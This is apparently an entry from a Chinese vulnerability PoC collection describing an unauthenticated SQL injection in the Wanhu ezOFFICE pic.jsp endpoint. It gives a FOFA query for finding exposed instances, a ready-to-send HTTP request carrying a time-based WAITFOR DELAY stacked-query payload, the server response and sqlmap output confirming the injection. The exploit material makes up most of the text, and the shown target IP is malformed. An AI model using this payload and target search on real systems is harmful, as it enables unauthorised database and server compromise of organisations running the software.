

W1-7万户-ezOffice-SQL

漏洞描述:

万户 ezOFFICE/defaultroot/platform/portal/portlet/pic/pic.jsp接口处存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

网站图片:



网络测绘:

fofa语法:

FOFA: app="万户ezOFFICE协同管理平台"

漏洞复现:

payload:

```
GET /defaultroot/platform/portal/portlet/pic/pic.jsp?num=1&channelId=1&WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:

延时5秒

Request

```
1 GET /defaultroot/platform/portal/portlet/pic/pic.jsp?num=1&channelId=1&WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
2 Host: 10.0.8038
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 Accept-Encoding: gzip
```

Responses

```
1 HTTP/1.1 200 OK
2 Date: Mon, 29 Jan 2024 16:22:53 GMT
3 Content-Type: text/html; charset=utf-8
4 Connection: keep-alive
5 x-frame-options: SAMEORIGIN
6 Set-Cookie: OASESSIONID=14C2FDB23C6411258C
7 Set-Cookie: sl-session=I8oiUV0iuWVaDJa24
8 Content-Length: 11058
9
10
11
12
13
14
15
16
17
18
19 ...
20
21
22 <html xmlns="http://www.w3.org/1999/xhtml"
23 <head>
24 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
25 <script type="text/javascript">
26 var whirlRootPath = "/defaultroot";
```

Sqlmap验证

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -u "http://10.0.8038/defaultroot/platform/portal/portlet/pic/pic.jsp?num=1&channelId=1&WAITFOR%20DELAY%20%270:0:5%27--" --r
{1.7#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to abide by the local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:27:12 /2024-01-30/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[00:27:14] [INFO] resuming back-end DBMS 'microsoft sql server'
[00:27:14] [INFO] testing connection to the target URL
[00:27:15] [INFO] heuristics detected web page charset 'utf-8'
you have not declared cookie(s), while server wants to set its own ('sl-session=j3CxfmIjuWU ... MAQGW0eGGG==;OASESSIONID=1F868F2F5FD ... F0e those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: http://10.0.8038/defaultroot/platform/portal/portlet/pic/pic.jsp?num=1&channelId=1&WAITFOR DELAY '0:0:5'--
```